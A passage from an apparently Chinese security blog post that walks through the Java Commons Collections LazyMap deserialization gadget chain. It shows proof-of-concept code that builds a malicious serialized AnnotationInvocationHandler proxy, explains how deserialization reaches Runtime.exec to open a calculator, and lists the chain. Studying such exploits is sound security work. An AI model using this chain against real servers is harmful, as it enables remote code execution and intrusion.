        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(handler);

    }


    }
}

我們先來看第一段

反射建立AnnotationInvocationHandler類,例項化物件時把Retention.class、 outerMap傳給InvocationHandler介面,因為AnnotationInvocationHandler實現了InvocationHandler方法

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

第二段動態代理

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
  • 第一個引數:People.getClass().getClassLoader(),使用handler物件的
    classloader物件來載入我們的代理物件
  • 第二個引數:Person.getClass().getInterfaces(),這里為代理類提供的介面 是真實物件實現的介面,這樣代理物件就能像真實物件一樣呼叫介面中的所有方法
  • 第三個引數:我們將代理物件關聯到上面的InvocationHandler物件上

那麼在這段poc的執行中執行反序列化的時候,伺服器讀取了我們的惡意序列化檔案,把他反序列化,AnnotationInvocationHandler重寫了readObject()方法,所以呼叫的是AnnotationInvocationHandler的readObject()方法。readObject()方法會去呼叫memberValues的entrySet()方法。這裡的memberValues是構造方法傳入進來的引數,我們是使用反射的方式對他進行建立傳入的是proxyMap。

因為proxyMap是我們的代理物件,所以呼叫proxyMap的entrySet()會觸發到AnnotationInvocationHandler的invoke()方法進行執行。這也是動態代理的一個特性,代理物件呼叫任意方法,呼叫處理器中的invoke()方法都執行一次
執行AnnotationInvocationHandler的invoke()方法後又會呼叫get方法,再次回到剛剛的地方了。
LazyMap 的get方法方法裡面的this.factory為Transformer[]陣列,這時候去呼叫就會執行transform方法,而ChainedTransformer的transform方法又會去遍歷呼叫Transformer[]裡面的transform方法,導致使用方式的方式傳入的Runtime呼叫了exec執行了calc.exe彈出一個計算器

利用鏈

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

參考:

https://www.cnblogs.com/adamjwh/p/9683705.html

https://www.anquanke.com/post/id/230788

https://www.cnblogs.com/nice0e3/p/13779857.html

相關文章